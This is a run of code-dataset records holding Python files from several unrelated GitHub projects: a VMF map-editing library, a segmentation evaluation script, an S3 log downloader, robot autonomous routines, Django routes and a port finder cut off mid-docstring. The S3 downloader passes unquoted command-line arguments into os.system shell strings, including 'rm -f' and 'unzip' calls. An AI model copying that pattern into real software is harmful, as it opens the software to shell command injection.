has.\n\t\tWether to generate id or not. Takes an int if you want to specify an id. Can be left empty (recommended)\n\n\t\tDictionary of the side is as follows. Accepts ints and floats (for now all params are mandatory):\n\n\t\tmaterial: path to vmt\n\t\trotation: texture rotation\n\t\tlightmapscale: lightmapscale\n\t\tsmoothing_groups: shitty 3dmax-like smoothing groups (an int)\n\n\t\t3verts: 3 verts of the face in the right order - ((LocVector), (LocVector), (LocVector))\n\t\tuaxis/vaxis: ((u/vVector), (Shift, Scale)), for example ((0 1 0), (-22, 0.5))\n\t\tallverts: an array of all verts of the face (optional) - [LocVector, LocVector ...]\n\t\t\"\"\"\n\n\t\tlizard = self.lizard\n\n\t\t# keep in mind that a solid cannot have more than 128 faces\n\t\t# todo: all these functions can receive a lot of malformed data\n\t\t# raise error or skip?\n\t\tif len(sides) > 127:\n\t\t\traise ValueError('A solid cannot have more than 127 faces, while current one has ' + str(len(sides)))\n\t\t\treturn\n\n\t\t# create base tag\n\t\tsolidtag = lizard.new_tag('solid')\n\n\t\t# add sides\n\t\tfor sid in sides:\n\t\t\t# create side tag\n\t\t\tsidetag = lizard.new_tag('side')\n\t\t\t\n\t\t\t# do attributes (parameters)\n\n\t\t\t# plane\n\t\t\t# ((LocVector), (LocVector), (LocVector))\n\t\t\t# ordered !\n\t\t\t# todo: round to 4 digits ?\n\t\t\tsidetag['plane'] = ''\n\t\t\t# 1\n\t\t\tsidetag['plane'] += '(' + str(sid['3verts'][0][0]) + ' ' + str(sid['3verts'][0][1]) + ' ' + str(sid['3verts'][0][2]) + ')'\n\t\t\t# 2\n\t\t\tsidetag['plane'] += '(' + str(sid['3verts'][1][0]) + ' ' + str(sid['3verts'][1][1]) + ' ' + str(sid['3verts'][1][2]) + ')'\n\t\t\t# 3\n\t\t\tsidetag['plane'] += '(' + str(sid['3verts'][2][0]) + ' ' + str(sid['3verts'][2][1]) + ' ' + str(sid['3verts'][2][2]) + ')'\n\n\t\t\t# do uppercase ?\n\t\t\tsidetag['material'] = str(sid['material'])\n\n\t\t\tsidetag['rotation'] = str(sid['rotation'])\n\t\t\tsidetag['lightmapscale'] = str(sid['lightmapscale'])\n\t\t\tsidetag['smoothing_groups'] = str(sid['smoothing_groups'])\n\n\t\t\t\n\t\t\t# ((0 1 0), (-22, 0.5))\n\t\t\t# ((Vector), (Shift, Scale))\n\n\t\t\t# todo: make it also accept raw data and calculate UV coords here ?\n\n\t\t\t# U\n\t\t\tsidetag['uaxis'] = ''\n\t\t\tsidetag['uaxis'] += '[' + str(sid['uaxis'][0][0]) + ' ' + str(sid['uaxis'][0][1]) + ' ' + str(sid['uaxis'][0][2]) + str(sid['uaxis'][1][0]) + ']'\n\t\t\tsidetag['uaxis'] += ' '\n\t\t\tsidetag['uaxis'] += str(sid['uaxis'][1][1])\n\n\t\t\t# V\n\t\t\tsidetag['vaxis'] = ''\n\t\t\tsidetag['vaxis'] += '[' + str(sid['vaxis'][0][0]) + ' ' + str(sid['vaxis'][0][1]) + ' ' + str(sid['vaxis'][0][2]) + str(sid['vaxis'][1][0]) + ']'\n\t\t\tsidetag['vaxis'] += ' '\n\t\t\tsidetag['vaxis'] += str(sid['vaxis'][1][1])\n\n\n\t\t\t# vertices plus IF PRESENT\n\t\t\tif 'allverts' in sid:\n\t\t\t\t# create verts plus tag\n\t\t\t\tvtplus = lizard.new_tag('vertices_plus')\n\t\t\t\t# add actual verts to that tag\n\t\t\t\tfor vrt in sid['allverts']:\n\t\t\t\t\tvertag = lizard.new_tag('v')\n\t\t\t\t\tvertag.string = str(vrt[0]) + ' ' + str(vrt[1]) + ' ' + str(vrt[2])\n\t\t\t\t\tvtplus.append(vertag)\n\n\t\t\t\t# after done adding verts - append the verts plus to the side\n\t\t\t\tsidetag.append(vtplus)\n\n\t\t\t# assign id to the side\n\t\t\t# todo: get required amount of ids in advance?\n\t\t\tsidetag['id'] = getfreeid(1, True)[0]\n\n\t\t\t# append side to solid\n\t\t\tsolidtag.append(sidetag)\n\n\n\t\t# Once done with all the sides - assign id to the solid\n\t\t# todo: finally come up with smarter logic for detecting good ints\n\t\tif idstate != True and idstate != False and idstate != None and isinstance(idstate, int):\n\t\t\tsolidtag['id'] = str(idstate)\n\t\telse:\n\t\t\tsolidtag['id'] = getfreeid(1)[0]\n\n\t\t# Also add editor, we try to keep it present everywhere...\n\t\tedtr = lizard.new_tag('editor', color='202 246 72', visgroupshown='1', visgroupautoshown='1', logicalpos='[0 500]')\n\t\tsolidtag.append(edtr)\n\n\t\t# Finally, append to world and return lizard solid because fuck you\n\t\t# todo: things like 'map world' are probably better done with lizard.map.world\n\t\tlizard.select('map world')[0].append(solidtag)\n\n\t\treturn lizardvmf_solid(lizard, solidtag)\n\n\n\t# creates a group\n\t# it looks like groups share same id pool as solids n stuff\n\t# todo: A pool of ids occupied by some of the spawners?\n\t# because, is it possible for something to exist with an id and yet not exist in the xml tree????\n\t# todo: should it inherit visgroup options (hidden/visible) since there are parameters like visgroupshown ???\n\t# todo: separate class for groups ???\n\tdef mk_group(self):\n\t\tlizard = self.lizard\n\t\t# create the group itself\n\t\tgrp = lizard.new_tag('group')\n\t\t# and append editor into it\n\t\tedtr = lizard.new_tag('editor', color='202 246 72', visgroupshown='1', visgroupautoshown='1')\n\t\tgrp.append(edtr)\n\n\t\t# now, create an id for it and assign it\n\t\tmk_id = self.getfreeid(1)[0]\n\t\tgrp['id'] = mk_id\n\n\t\t# once done - append to world\n\t\tlizard.select('map world')[0].append(grp)\n\n\t\t# check for redundant groups\n\t\t# todo: this check has to happen right before vmf conversion\n\t\tfor rdg in lizard.select('map group'):\n\n\t\t\t\"\"\"\n\t\t\tfoundsolid = False\n\t\t\t# check solids\n\t\t\t\n\t\t\tfor solg in lizard.select('map solid'):\n\t\t\t\t# todo: don't try, check for attribute\n\t\t\t\ttry:\n\t\t\t\t\tif solg.select('editor')[0]['groupid'] == int(rdg['id']):\n\t\t\t\t\t\tfoundsolid = True\n\t\t\t\t\t\tbreak\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\t\"\"\"\n\t\t\tsolid_check = len(lizard.select('map solid editor[id=\"' + rdg['id'] + '\"]'))\n\t\t\tentity_check = len(lizard.select('map entity > editor[id=\"' + rdg['id'] + '\"]'))\n\t\t\tif solid_check <= 0 and entity_check <= 0:\n\t\t\t\trdg.decompose()\n\n\n\t\treturn mk_id\n\n\n\t# set cordon state, accepts true or false, none to return status\n\tdef cordonstate(self, state):\n\t\tlizard = self.lizard\n\t\tcords = lizard.select('map > cordons')\n\t\tonecord = lizard.select('map > cordon')\n\n\t\t# prioritize cordons...\n\t\t# todo: the fucking returns\n\t\tif len(cords) > 0:\n\t\t\tif state == True:\n\t\t\t\tcords[0]['active'] = '1'\n\n\t\t\tif state == False:\n\t\t\t\tcords[0]['active'] = '0'\n\n\t\t\treturn 'new'\n\t\telif len(onecord) > 0:\n\t\t\t# check for old-ass cordon method, where you can only have one\n\t\t\tif state == True:\n\t\t\t\tonecord[0]['active'] = '1'\n\n\t\t\tif state == False:\n\t\t\t\tonecord[0]['active'] = '0'\n\n\t\t\treturn 'old'\n\t\telse:\n\t\t\treturn False\n\n\n\n\t# returns a collection of cordons IF ANY\n\t# todo: old single-cordon is not supported yet\n\t# update: this now supports queries\n\t# meaning that you can select cordons by name righ away\n\tdef cordons(self, cquery=None):\n\t\tlizard = self.lizard\n\t\tcrd = []\n\t\tif cquery != None:\n\t\t\tfor cor in lizard.select('cordons cordon[name=\"' + str(cquery) + '\"]'):\n\t\t\t\tcrd.append(lizardvmf_cordon(lizard, cor))\n\t\telse:\n\t\t\tfor cor in lizard.select('cordons cordon'):\n\t\t\t\tcrd.append(lizardvmf_cordon(lizard, cor))\n\n\t\treturn crd\n\n\n\t# todo: duplicated from the cordon class\n\tdef blender_to_cordon(self, eloc, escale):\n\t\tcent = (eloc[0], eloc[1], eloc[2])\n\t\tscl = (escale[0], escale[1], escale[2])\n\n\t\tmin_x = cent[0] - (scl[0] / 2)\n\t\tmin_y = cent[1] - (scl[1] / 2)\n\t\tmin_z = cent[2] - (scl[2] / 2)\n\n\t\tmax_x = cent[0] + (scl[0] / 2)\n\t\tmax_y = cent[1] + (scl[1] / 2)\n\t\tmax_z = cent[2] + (scl[2] / 2)\n\n\t\t# print(min_x, min_y, min_z)\n\t\t# print(max_x, max_y, max_z)\n\n\t\tret = {\n\t\t\t'mins': (min_x, min_y, min_z),\n\t\t\t'maxs': (max_x, max_y, max_z)\n\t\t}\n\t\treturn ret\n\n\n\n\t# add cordon to map. Make it part of cordons and make cordons a class?\n\t# todo: old single-cordon is not supported yet\n\t# for now, takes a tuple of two tuples: location, scale, ORDER IS IMPORTANT\n\tdef new_cordon(self, corname, corbox):\n\t\tlizard = self.lizard\n\t\tif corname != None and str(corname).strip() != '':\n\n\t\t\tcordtag = lizard.new_tag('cordon', active='1')\n\t\t\tcordtag['name'] = str(corname)\n\t\t\tconvertbox = self.blender_to_cordon(corbox)\n\t\t\tmin_s = '(' + str(convertbox['mins'][0]) + ' ' + str(convertbox['mins'][1]) + ' ' + str(convertbox['mins'][2]) + ')'\n\t\t\tmax_s = '(' + str(convertbox['maxs'][0]) + ' ' + str(convertbox['maxs'][1]) + ' ' + str(convertbox['maxs'][2]) + ')'\n\t\t\tboxtag = lizard.new_tag('box', mins=min_s, maxs=max_s)\n\t\t\tcordtag.append(boxtag)\n\n\t\t\tlizard.select('map cordons').append(cordtag)\n\n\t\t\treturn lizardvmf_cordon(lizard, cordtag)\n\n\n\t# important todo: this is the second duplicate of such kind\n\t# always returns an array because apparently, you can have mutiple visgroups with the same name\n\tdef visgroups(self, vname=None):\n\t\tallvis = []\n\n\t\tif vname != None and vname != '':\n\t\t\tfor vi in self.lizard.select('map visgroups visgroup[name=\"' + str(vname) + '\"]'):\n\t\t\t\tallvis.append(lizardvmf_visgroup(self.lizard, vi))\n\t\telse:\n\t\t\tfor vi in self.lizard.select('map visgroups visgroup'):\n\t\t\t\tallvis.append(lizardvmf_visgroup(self.lizard, vi))\n\t\treturn allvis\n\n\n\n\t# get a free id for a visgroup\n\tdef vgetfreeid(self):\n\t\tlizard = self.lizard\n\n\t\t# collect all ids here\n\t\ttaken_ids = []\n\n\t\t# groups share id pool with ents and solids\n\t\tfor vgid in lizard.select('map visgroups visgroup'):\n\t\t\t# important todo: WHAT ???\n\t\t\tif vgid.get('visgroupid') != None:\n\t\t\t\t# print(vgid['an'] == 'None')\n\t\t\t\t# print(vgid['name'])\n\t\t\t\ttaken_ids.append(int(vgid['visgroupid']))\n\n\t\t# store free ids here\n\t\tfree_ids = None\n\n\t\t# basis\n\t\tbasis = 4\n\n\t\t# todo: very reliable but slow\n\t\twhile free_ids == None:\n\t\t\t# basically test all the ids until we find the suitable one\n\t\t\tbasis += 1\n\t\t\tif not basis in taken_ids:\n\t\t\t\tfree_ids = basis\n\t\t\t\t# There should always be enough free ids\n\t\t\t\treturn basis\n\n\n\t# create a new visgroup\n\t# important todo: Make this function accept custom ids ?\n\t# important todo: Fuck visgroups with the same names, disallow the creation of visgroups with duplicate names\n\t# simply return an existing one\n\tdef new_visgroup(self, vname=None):\n\t\tif str(vname).strip() != '' and vname != None:\n\t\t\tlizard = self.lizard\n\t\t\t# vgtag = lizard.new_tag('visgroup', name=str(vname), visgroupid=str(self.vgetfreeid()), color='202 246 72')\n\t\t\tvgtag = lizard.new_tag('visgroup', visgroupid=str(self.vgetfreeid()), color='202 246 72')\n\t\t\tvgtag['name'] = str(vname)\n\n\t\t\tlizard.select('map visgroups')[0].append(vgtag)\n\n\t\t\treturn lizardvmf_visgroup(lizard, vgtag)\n\t\telse:\n\t\t\treturn False\n\n\n\t# todo: add cameras (the ones created with the camera tool in hammer)\n\n\n\n\ndef multImetr():\n\t# test\n\tfr = open(r'E:\\!!Blend_Projects\\scripts\\map_parser\\example_map_src.vmf', 'r').read()\n\t# fr = open(r'E:\\!!Blend_Projects\\scripts\\map_parser\\tmp\\tmp_empty_gmod.vmf', 'r').read()\n\t# fr = open(r'E:\\!!!!!opforce2\\reverse\\bms\\maps\\src\\bms_map_src\\2331428357\\Singleplayer\\C4A3-Interloper\\bm_c4a3d.vmf', 'r').read()\n\n\tlol = lizardvmf(fr)\n\t# lol = lizardvmf(True)\n\n\t# lol.vmfquery('#273')['classname'] = 'prop_ass'\n\n\t\"\"\"\n\tprint(lol.vmfquery('#273').visgroup)\n\tprint(lol.vmfquery('#273').visgroup['name'])\n\tprint(lol.vmfquery('#273').visgroup['id'])\n\tprint(lol.vmfquery('#273').prms['classname'])\n\tlol.vmfquery('#273').prms['classname'] = 'dicks'\n\tprint(lol.vmfquery('#273').prms['classname'])\n\t\"\"\"\n\n\tprint(lol.mapsettings['skyname'])\n\tprint(len(lol.ents()))\n\tlol.mapsettings['skyname'] = 'tits'\n\tprint(lol.mapsettings['skyname'])\n\tprint(lol.getfreeid(7))\n\tprmdict = {\n\t\t'classname': 'prop_physics',\n\t\t'model': 'models/props_junk/plasticbucket001a.mdl',\n\t\t'spawnflags': '256',\n\t\t'modelscale': '1'\n\t}\n\tne = lol.mk_ent(prmdict, (0, 12 , 33), (0, 0, 0))\n\tprint(lol.getfreeid(7))\n\tprint(ne.prms['model'])\n\tprint(len(lol.ents()))\n\tne.kill()\n\tprint(lol.getfreeid(7))\n\tprint(lol.mk_group())\n\tprint(lol.mk_group())\n\tprint(lol.mk_group())\n\tprint(lol.mk_group())\n\tprint(lol.mk_group())\n\n\tprint(lol.cordonstate(True))\n\tprint(lol.cordons()[1].box)\n\tprint(lol.cordons()[2].box)\n\tprint(lol.cordons()[0].box)\n\n\tprint(len(lol.visgroups()))\n\n\tnewis = lol.new_visgroup('fuck pingas')\n\n\tprint(newis.name)\n\tnewis.name = 'tits dick'\n\tprint(newis.name)\n\tprint(len(lol.visgroups()))\n\n\tanother_vis = newis.add_new('pills here')\n\tprint(another_vis.name)\n\tanother_vis.name = 'pills there'\n\tprint(another_vis.name)\n\n\tent_w_cnts = lol.vmfquery('#742')\n\tprint(ent_w_cnts)\n\tprint(ent_w_cnts.connections)\n\tprint(ent_w_cnts.connections.items)\n\tprint(ent_w_cnts.connections.items[0])\n\tprint(ent_w_cnts.connections.items[0].output_name)\n\tprint(ent_w_cnts.connections.items[0].tgt_ents)\n\tprint(ent_w_cnts.connections.items[0].action)\n\tprint(ent_w_cnts.connections.items[0].params)\n\tprint(ent_w_cnts.connections.items[0].delay)\n\tprint(ent_w_cnts.connections.items[0].refire_limit)\n\tprint(ent_w_cnts.connections.items[0].ctag.string)\n\n\tent_w_cnts.connections.items[0].tgt_ents = 'botle*'\n\n\tprint(ent_w_cnts.connections.items[0].ctag.string)\n\n\tmkconnection = {\n\t\t'tgt_ents': 'everyone',\n\t\t'action': 'kill',\n\t\t'params': '',\n\t\t'delay': 2.73,\n\t\t'refire_limit': -1\n\t}\n\n\tent_w_cnts.connections.add('OnDamaged', mkconnection)\n\tprint(ent_w_cnts.connections.items[-1].ctag.string)\n\n\tprint(len(lol.ents()))\n\n\n\tent_w_no_cnts = lol.vmfquery('#138')\n\tprint(ent_w_no_cnts.connections)\n\tent_w_no_cnts.connections = True\n\tprint(ent_w_no_cnts.connections)\n\tprint(ent_w_no_cnts.connections.items)\n\tent_w_no_cnts.connections.add('OnPlayerUse', mkconnection)\n\tprint(ent_w_no_cnts.connections.items[0].ctag.string)\n\tent_w_no_cnts.connections = False\n\tprint(ent_w_no_cnts.connections)\n\tprint(lol.vmfstats())\n\t# print()\n\t# print(lol.tovmf())\n\t# print(str(lol.lizard))\n\n\n\t# print(lol.tovmf())\n\t# print(lol.mk_ent.__doc__)\n\n\n\n\n\n\t# print(lol.vmfquery('#272').visgroup)\n\n\t# lol.vmfquery('#273').visgroup = 'sideramp'\n\n\t# print(lol.vmfquery('#273').visgroup)\n\nmultImetr()","repo_name":"MrKleiner/blender_foil","sub_path":"utils/lizard_vmf/lizardvmf_onefile.py","file_name":"lizardvmf_onefile.py","file_ext":"py","file_size_in_byte":70373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2414309252","text":"import os\nimport copy\nimport numpy as np\nimport cv2\nfrom PIL import Image\n\n\nimport torch\nimport torch.nn as nn\nimport torchvision\nfrom torchvision import datasets, models, transforms\n\n\n\nK = 1\nN_CLASSES = 2\nINPUT_SIZE = (256, 256)\nH, W = 100, 100\n\nGPU = 5\ndevice = torch.device(\"cuda:\"+str(GPU) if torch.cuda.is_available() else \"cpu\")\n\n\n\nclass_names = ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle',\n               'bus', 'car', 'cat', 'chair', 'cow',\n               'diningtable', 'dog', 'horse', 'motorbike', 'person',\n               'potted plant', 'sheep', 'sofa', 'train', 'tv/monitor']\n\nlabel_colors = [(128, 0, 0), (0, 128, 0), (128, 128, 0), (0, 0, 128), (128, 0, 128),\n                 (0, 128, 128), (128, 128, 128), (64, 0, 0), (192, 0, 0), (64, 128, 0),\n                 (192, 128, 0), (64, 0, 128), (192, 0, 128), (64, 128, 128), (192, 128, 128),\n                 (0, 64, 0), (128, 64, 0), (0, 192, 0), (128, 192, 0), (0, 64, 128)]\n\n\nclasses = [9, 12]\n#classes = [7, 9, 11, 12, 16]\nclass_mask = [label_colors[c] for c in classes]\n\n\nmodel = models.resnet50(pretrained=True).to(device)\nmodel.fc = nn.Linear(model.fc.in_features, N_CLASSES).to(device)\n\nsaved_state_dict = torch.load('../models/model_resnet50_2class_cam_epoch_299.pt')\nmodel.load_state_dict(saved_state_dict)\nmodel.eval()\n\n\nglobal feature\ndef get_feat(self, input, output):\n    global feature\n    feature = output\n\nmodel.layer4.register_forward_hook(get_feat)\n\n\n\npreprocess = transforms.Compose([\n    transforms.Resize(INPUT_SIZE),\n    transforms.ToTensor(),\n    transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n]) \n\n\n\ndef img2cam(img, model):\n    logit = model(img)\n    params = list(model.parameters())\n    weight_softmax = np.squeeze(params[-2].data.cpu().numpy())\n    feat = feature.data.cpu().numpy()[0,:,:,:]\n    cam = weight_softmax.dot(feat.reshape((2048, 8*8)))\n    cam = cam.reshape(N_CLASSES,8,8).transpose(1,2,0)\n    cam -= np.min(cam)\n    cam /= np.max(cam)\n    return cam\n\n\n\ndef cams_to_mask(cams):\n    cams = cv2.resize(cams, (W,H), interpolation=cv2.INTER_LINEAR)\n    act = np.max(cams, axis=2)\n    idx = np.argmax(cams, axis=2)\n    idx[act < 0.8] = N_CLASSES\n    return idx\n\n\n\nwith open('/tmp4/hank/VOCdevkit/VOC2012/ImageSets/Segmentation/val.txt', 'r') as f:\n    img_list = f.read().splitlines()\n    \n    count = 0\n    tp = np.zeros(N_CLASSES)\n    pos_gt = np.zeros(N_CLASSES)\n    pos_pred = np.zeros(N_CLASSES)\n    \n    \n    for im_id in img_list:\n        img = Image.open('/tmp4/hank/VOCdevkit/VOC2012/JPEGImages/'+im_id+'.jpg').convert('RGB')\n        img_np = cv2.resize(np.array(img), (H,W))\n        \n        mask_file = '/tmp4/hank/VOCdevkit/VOC2012/SegmentationClass/'+im_id+'.png'\n        if os.path.isfile(mask_file):\n            mask = Image.open(mask_file).convert('RGB')\n            mask_np = cv2.resize(np.array(mask), (H,W), interpolation=cv2.INTER_NEAREST)\n        else:\n            continue\n        \n        masks_gt = [(mask_np[:,:,0] == label_colors[c][0]) & (mask_np[:,:,1] == label_colors[c][1]) & \n                    (mask_np[:,:,2] == label_colors[c][2]) for c in classes]\n        \n        if not np.any(np.array(masks_gt)):\n            continue\n\n        img_variable = preprocess(img).unsqueeze(0).to(device)\n        cams = img2cam(img_variable, model)\n        mask_pred = cams_to_mask(cams)\n            \n        for i in range(N_CLASSES):\n            mask_i = mask_pred == i\n            tp[i] += np.sum(mask_i & masks_gt[i])\n            pos_gt[i] += np.sum(masks_gt[i])\n            pos_pred[i] += np.sum(mask_i)\n            \n        count += 1\n        if count % 10 == 1:\n            print(count)    \n        \n    iou = 1. * tp / (pos_gt + pos_pred - tp)\n    print(iou, count)\n","repo_name":"chhankyao/part_segmentation","sub_path":"my_val_cam.py","file_name":"my_val_cam.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"19312520717","text":"import os\nimport sys\n\nimport boto3\n\ndef download(args):\n    s3 = boto3.resource('s3')\n    print(\"输入时间（空格）用户id，例如：2021-02-20 57ea449d7748abb7428b456a\")\n    #t_u = args.args[0]\n    print(args)\n    download_path = '/Users/pof/Downloads/feedback/'  # 修改为自己的保存路径\n    log = 'wooplus-prod-client-log'\n    t = '/' + args[1]\n    user_id = '/' + args[2]\n    Prefix = 'logs' + t + user_id\n    my_bucket = s3.Bucket(log)\n    lists = []\n    dir = \"\"\n    for obj in my_bucket.objects.filter(Prefix=Prefix):\n        dir = download_path + obj.key[:len('logs/2021-02-20/')]\n        if not os.path.exists(dir):\n            os.makedirs(dir)\n            os.makedirs(dir + args[2] + \"_sql\")\n        if obj.key not in lists and obj.key[-3:] != \"txt\":\n            lists.append(obj.key)\n    lists.reverse()\n    list_download = []   # 存要下载的文件名\n    list_after = []   # 存后缀用于去重\n    for i in lists:   # 进行去重，去重后的文件名加入到要下载的数组中\n        if i[-2:] not in list_after:\n            list_after.append(i[-2:])\n            list_download.append(i)\n    if len(list_download) == 0:\n        print(\"未获取到日志，可能日志上传失败，重新输入新的日期和id\")\n        return 0\n\n    if len(list_download) >= 20:\n        print(\"日志大于20条，联系John修改代码\")\n        return 0\n\n    for i in list_download:\n        s3.Bucket(\"wooplus-prod-client-log\").download_file(i, download_path + i)\n\n    # 将大于10的日志处理为 90，91...\n    if len(list_download) >= 10:\n        print(\"日志大于10条，稍等.....\")\n        for i in range(0, len(list_download)):\n            if list_download[i][-2] == '1':\n                ls = list(list_download[i])\n                ls[-2] = '9'\n                x = ''.join(ls)\n                os.system(\"mv \" + download_path + list_download[i] + \" \" + download_path + x)\n    # 大于20还未处理，遇到再进行处理 :insert 9\n    zip_name = download_path + list_download[0][:-2]\n    zip_path = dir\n    os.system(\"cat \" + zip_name + \".* > \" + zip_name)\n    zip_commend = \"unzip -o \" + zip_name + \" -d \" + zip_path + args[2] + \"_sql\"\n    os.system(zip_commend)\n    os.system(\"rm -f \" + zip_name + \".*\")\n    os.system(\"rm -f \" + zip_name)\n    print(\"解压完成，可进行下一个用户的操作\")\n    # 2021-06-17 6019ca199e9f959ed67b3e38\n\nif __name__ == \"__main__\":\n    args = sys.argv\n    download(args)\n\n\n","repo_name":"szr-root/workfast","sub_path":"downloadS3/downloadlog.py","file_name":"downloadlog.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75195182327","text":"from robotpy_ext.autonomous import state, timed_state\nfrom .GenericAutonomous import LowBar, ChevalDeFrise, Portcullis, Charge, Default\nfrom automations import targetGoal\nfrom components import intake as Intake, drive as Drive\nfrom networktables.networktable import NetworkTable\nfrom networktables.util import ntproperty\nfrom magicbot.magic_tunable import tunable\nimport math\n\nclass ModularAutonomous(LowBar, ChevalDeFrise, Portcullis, Charge, Default):\n    MODE_NAME = 'Modular_Autonomous'\n    DEFAULT = False\n\n    sd = NetworkTable\n    intake = Intake.Arm\n    drive = Drive.Drive\n    targetGoal = targetGoal.TargetGoal\n    present = ntproperty('/components/autoaim/present', False)\n\n    opposite = tunable(120)\n    Ramp_Distance = tunable(6)\n\n    def initialize(self):\n        LowBar.initialize(self)\n        Portcullis.initialize(self)\n\n    @state(first=True)\n    def startModularAutonomous(self):\n        print(self.sd.getValue('robotDefense', 'Default') + 'Start')\n        self.intake.manualZero()\n        self.drive.reset_gyro_angle()\n        self.next_state(self.sd.getValue('robotDefense', 'LowBar') + 'Start')\n        self.position = int(self.sd.getValue('robotPosition', '1'))\n\n    @state\n    def transition(self):\n        # tangent^-1(opposite/adj)\n        #opposite = 10\n        #adj = 50*(position - 1)\n        if self.position == 3:\n            self.angleConst = 1\n        elif self.position == 2 :\n            self.angleConst = -1\n        self.rotateAngle = math.degrees(math.atan(self.opposite/50)) * self.angleConst\n        self.drive_distance = math.sqrt(2500 + self.opposite**2)\n        if self.position == 1 or self.position == 4:\n            self.next_state('drive_to_wall')\n        else:\n            self.next_state('rotate')\n\n    @state\n    def rotate(self):\n        if self.drive.angle_rotation(self.rotateAngle):\n            self.drive.reset_drive_encoders()\n            self.next_state('drive_to_position')\n\n    @state\n    def drive_to_position(self):\n        if self.drive.drive_distance(self.drive_distance):\n            self.next_state('rotate_back')\n\n    @state\n    def rotate_back(self):\n        if self.drive.angle_rotation(-45*self.angleConst):\n            self.drive.reset_gyro_angle()\n            self.drive.enable_camera_tracking()\n            self.next_state('rotate_to_align')\n\n    @timed_state(duration=1, next_state='target')\n    def rotate_to_align(self, initial_call):\n        if initial_call:\n            self.drive.reset_gyro_angle()\n\n        if self.drive.align_to_tower():\n            self.next_state('target')\n\n    @state\n    def target(self):\n        self.targetGoal.target()\n\nclass BallModularAutonomous(ModularAutonomous):\n    MODE_NAME = 'Ball_Modular_Autonomous'\n    DEFAULT = False\n\n    sd = NetworkTable\n    intake = Intake.Arm\n    drive = Drive.Drive\n\n    def initialize(self):\n        LowBar.initialize(self)\n        Portcullis.initialize(self)\n\n        self.register_sd_var('Drive_Distance', -5)\n        self.register_sd_var('Rotate_Angle', 180)\n        self.register_sd_var('Collect_Distance', 0.5)\n\n    @state(first=True)\n    def startModularAutonomous(self):\n        print(self.sd.getValue('robotDefense', 'Default') + 'Start')\n        self.intake.manualZero()\n        self.drive.reset_gyro_angle()\n        self.next_state('drive_to_ball')\n\n    @timed_state(duration = 4, next_state='lower_arms')\n    def drive_to_ball(self, initial_call):\n        if initial_call:\n            self.drive.reset_drive_encoders()\n            self.intake.set_arm_middle()\n\n        #Drive distance is negative here because we have to back up to make sure the arms dont extend too far!\n        if self.drive.drive_distance(self.Drive_Distance) and self.intake.on_target():\n            self.next_state('collect')\n\n    @state\n    def collect(self, initial_call):\n        if initial_call:\n            self.drive.reset_drive_encoders()\n\n        self.intake.intake()\n        if self.drive.drive_distance(self.Collect_Distance):\n            self.next_state('back_up')\n\n    @state\n    def back_up(self,initial_call):\n        if initial_call:\n            self.drive.reset_drive_encoders()\n\n        if self.drive.drive_distance(-(self.Collect_Distance+self.Drive_Distance)):\n            self.next_state('turn_around')\n\n    @state\n    def turn_around(self,initial_call):\n        if initial_call:\n            self.drive.reset_gyro_angle()\n\n        if self.drive.angle_rotation(self.Rotate_Angle):\n            self.next_state(self.sd.getValue('robotDefense', 'LowBar') + 'Start')\n            self.position = int(self.sd.getValue('robotPosition', '1'))\n            print('test '+(self.sd.getValue('robotDefense', 'LowBar') + 'Start'))\n            print('test '+self.sd.getValue('robotPosition', '1'))\n","repo_name":"frc1418/2016-robot","sub_path":"robot/autonomous/ModularAutonomous.py","file_name":"ModularAutonomous.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"28969136518","text":"import pandas as pd\nimport seaborn as sns\n\nsepallength = 'Sepal Length in mm.'       \nsepalwidth = 'Sepal Width in mm.'              \npetallength = 'Petal Length in mm.'        \npetalwidth = 'Petal Width in mm.'\n\ndata = \"\"\"50 33 14 02       \n46 34 14 03  \n46 36 .  02\"\"\"\n\nsetosa_df = pd.read_csv(data, delimiter=' ', header=None)\nsetosa_df.columns = [sepallength, sepalwidth, petallength, petalwidth]\n\ncorr = setosa_df.corr()\n\nprint(corr)","repo_name":"sunitvijay88/awsbedrock","sub_path":"converted_to_python/anthropic/claudeinstant/example1_api.py","file_name":"example1_api.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6959467821","text":"from django.conf.urls import include, url\nfrom rest_framework.routers import DefaultRouter\n\nfrom api import views\n\n# Create a router and register our viewsets with it.\nrouter = DefaultRouter()\nrouter.register(r'cursos', views.CursosList)\nrouter.register(r'disciplinas', views.DisciplinasList, base_name='disciplinas')\nrouter.register(r'grade', views.GradeCurricularList)\nrouter.register(r'repositorios', views.RepositoriosList)\nrouter.register(r'sistemas', views.SistemasList)\nrouter.register(r'users', views.UserViewSet)\nrouter.register(r'userdisciplinas', views.UserDisciplinasList, base_name='userdisciplinas')\nrouter.register(r'chat', views.ChatList, base_name='chat')\n\n\n# The API URLs are now determined automatically by the router.\n# Additionally, we include the login URLs for the browsable API.\nurlpatterns = [\n    url(r'^', include(router.urls))\n]\n","repo_name":"VonLisboa/UFFacilitador_API","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37564776082","text":"import contextlib\nimport re\nimport socket\nimport time\nfrom typing import Optional\n\n_WORKER_ID_PATTERN = re.compile('^gw(\\\\d+)$')\n\n\"\"\"\nA set of the ports reserved by this file.\n\nIt is never cleared; we simply expect to not run out before the tests finish.\n\"\"\"\n_allocated_ports: set[int] = set()\n\ndef find_free_port(worker_id: str) -> int:\n    \"\"\"\n    Finds a free port in the range allocated to the given worker.\n\n    There is no lock placed on the port, so something else could claim the port\n    between this function finding a port and it being used for its intended\n    purpose. To mitigate this:\n\n    1. we do not use the usual dynamic port range (above 32768), and\n    2. we never return the same port twice from this function.\n\n    We use the worker ID to construct the port range because we do not share\n    the set of allocated ports between workers. This means we need to ensure\n    that the ranges do not overlap.\n\n    Note that the worker ID should be provided by 